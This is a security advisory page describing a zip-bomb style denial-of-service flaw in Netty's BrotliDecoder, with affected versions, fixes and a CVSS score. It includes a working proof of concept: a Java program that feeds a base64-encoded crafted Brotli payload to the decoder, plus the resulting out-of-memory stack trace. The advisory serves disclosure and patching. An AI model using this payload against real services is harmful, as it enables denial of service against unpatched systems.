Medium
Netty's decoders vulnerable to DoS via zip bomb style attack
Summary
With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.
Details
BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.
Tested on 4.1.118, but there were no changes to the decoder since.
PoC
Run this test case with -Xmx1G:
java
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}Error:
Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
at io.netty.handler.codec.compression.T.main(T.java:11)Impact
DoS for anyone using BrotliDecoder on untrusted input.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Java / Kotlin (Maven) | io.netty:netty-codec | < 4.1.125.Final | 4.1.125.Final |
| Java / Kotlin (Maven) | io.netty:netty-codec-compression | >= 4.2.0.Alpha1, < 4.2.5.Final | 4.2.5.Final |
References
CVSS score
-
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-409- Platform
- Java / Kotlin (Maven)
- Package
io.netty:netty-codec, io.netty:netty-codec-compression- Disclosed
- 03.09.2025
- Updated
- 11.10.2026 13:20
Sources and licenses
OSV / GitHub Advisory Database - GHSA-3p8m-j85q-pgmj - CC BY 4.0
Vulnerability history: io.netty:netty-codec-compression
All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 3
- First → latest
- 09.2025 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 2
- Medium 1
Disclosures per year
- 2025: 1
- 2026: 2
-
Netty's decoders vulnerable to DoS via zip bomb style attack this entry
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